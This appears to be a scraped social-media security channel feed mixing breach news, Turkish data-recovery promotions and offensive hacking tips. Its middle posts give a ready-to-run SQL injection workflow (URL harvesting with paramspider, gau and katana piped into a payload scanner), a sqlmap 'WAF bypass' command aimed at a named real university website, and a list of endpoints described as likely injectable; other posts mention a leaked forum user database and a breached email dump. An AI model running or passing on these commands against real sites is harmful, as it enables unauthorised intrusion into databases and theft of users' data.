2 479
Subscribers
No data24 hours
+47 days
+1830 days
Posts Archive
2 479
A significant security concern has arisen after a large number of email addresses were exposed online, allegedly scraped from security intelligence platform SOCRadar.io.
The data dump, containing an estimated 332 million email addresses, was posted on a cybercrime forum by a threat actor known as Dominatrix, according to Hackread. As per the post, the data was originally scraped by another actor, “USDoD,” who has a history of involvement in previous data breaches.
2 479
BEST SQLI METHODLOGY BY COFFIN:
for single url:
python3 lostsec.py -u "http://testphp.vulnweb.com/artists.php?artist=" -p payloads/xor.txt -t 5
for multiple urls:
paramspider -d testphp.vulnweb.com -o urls.txt
cat output/urls.txt | sed 's/FUZZ//g' >final.txt
python3 lostsec.py -l final.txt -p payloads/xor.txt -t 5
echo testphp.vulnweb.com | gau --mc 200 | urldedupe >urls.txt
cat urls.txt | grep -E ".php|.asp|.aspx|.cfm|.jsp" | grep '=' | sort > output.txt
cat output.txt | sed 's/=.*/=/' >final.txt
python3 lostsec.py -l final.txt -p payloads/xor.txt -t 5
echo testphp.vulnweb.com | katana -d 5 -ps -pss waybackarchive,commoncrawl,alienvault -f qurl | urldedupe >output.txt
katana -u http://testphp.vulnweb.com -d 5 | grep '=' | urldedupe | anew output.txt
cat output.txt | sed 's/=.*/=/' >final.txt
python3 lostsec.py -l final.txt -p payloads/xor.txt -t 5
video poc: https://youtu.be/eqqYL5Q2VyE?si=h2wjRGlT4Zg-Yrt3
2 479
Easy WAFBypassed !
sqlmap -u 'https://cutm.ac.in/payu/skill/index.php?id=34' --batch --dbs --threads=5 --random-agent --risk=3 --level=5 --tamper=space2comment -v 3 --dbms MySQL
2 479
these sqli endpoint are most likely vulnerable:
.php:
1.
index.php?category=<SQLi payload>
2. product.php?id=<SQLi payload>
3. news.php?article_id=<SQLi payload>
4. user.php?username=<SQLi payload>
5. login.php?username=<SQLi payload>&password=<SQLi payload>
6. search.php?q=<SQLi payload>
7. blog.php?post_id=<SQLi payload>
8. forum.php?thread_id=<SQLi payload>
9. profile.php?user_id=<SQLi payload>
10. admin.php?username=<SQLi payload>&password=<SQLi payload>
.asp:
1. default.asp?catid=<SQLi payload>
2. product.asp?id=<SQLi payload>
3. news.asp?newsid=<SQLi payload>
4. login.asp?username=<SQLi payload>&password=<SQLi payload>
5. search.asp?q=<SQLi payload>
6. blog.asp?postid=<SQLi payload>
7. forum.asp?threadid=<SQLi payload>
8. profile.asp?userid=<SQLi payload>
9. admin.asp?username=<SQLi payload>&password=<SQLi payload>
10. register.asp?username=<SQLi payload>&password=<SQLi payload>
.aspx:
1. default.aspx?catid=<SQLi payload>
2. product.aspx?id=<SQLi payload>
3. news.aspx?newsid=<SQLi payload>
4. login.aspx?username=<SQLi payload>&password=<SQLi payload>
5. search.aspx?q=<SQLi payload>
6. blog.aspx?postid=<SQLi payload>
7. forum.aspx?threadid=<SQLi payload>
8. profile.aspx?userid=<SQLi payload>
9. admin.aspx?username=<SQLi payload>&password=<SQLi payload>
10. register.aspx?username=<SQLi payload>&password=<SQLi payload>
.cfm:
1. index.cfm?catid=<SQLi payload>
2. product.cfm?id=<SQLi payload>
3. news.cfm?newsid=<SQLi payload>
4. login.cfm?username=<SQLi payload>&password=<SQLi payload>
5. search.cfm?q=<SQLi payload>
6. blog.cfm?postid=<SQLi payload>
7. forum.cfm?threadid=<SQLi payload>
8. profile.cfm?userid=<SQLi payload>
9. admin.cfm?username=<SQLi payload>&password=<SQLi payload>
10. register.cfm?username=<SQLi payload>&password=<SQLi payload>
.jsp:
1. index.jsp?catid=<SQLi payload>
2. product.jsp?id=<SQLi payload>
3. news.jsp?newsid=<SQLi payload>
4. login.jsp?username=<SQLi payload>&password=<SQLi payload>
5. search.jsp?q=<SQLi payload>
6. blog.jsp?postid=<SQLi payload>
7. forum.jsp?threadid=<SQLi payload>
8. profile.jsp?userid=<SQLi payload>
9. admin.jsp?username=<SQLi payload>&password=<SQLi payload>
10. register.jsp?username=<SQLi payload>&password=<SQLi payload>2 479
try this extension to detect all types of SQLi+WAFBypass payloads just copy and try manully or you can use intruder for testing timebased sqli just set to resource pool to 1 conqurent request and check the response delay..
2 479
Veri Kurtarma Hakkında Doğru Bilinen Yanlışlar
#DataRecovery #DigitalForensics #DataLoss #SSD #HDD #NAS #Server
https://drdisklab.com/veri-kurtarma-hakkinda-dogru-bilinen-yanlislar-ve-gercekler/
2 479
Gemini'ye sorduk; "popüler veri kurtarma ve adli bilişim yazılımları nelerdir ve kimler tarafından kullanılır?"
referans olarak gösterilmek güzel bir şey :)
bu vesile ile Şükrü başkana da selamlarımızı iletmiş olalım :)
2 479
Hacklenen breach forumda yeralan kullanıcıların tüm db bilgileri leak olmuş ve arama motoru haline getirilmiş :)
2 479
Siber saldırılarda en çok kullanılan kullanıcı adları ve parolalar.
#CyberSec #InfoSec #CyberAttack
2 479
Backup ve backup management neden önemlidir?
Hep beraber gördük.
Yönetilebilir backup ve güvenlik çözümlerimiz sebebiyle hiç bir müşterimizde sistem kesintisi yaşanmamıştır.
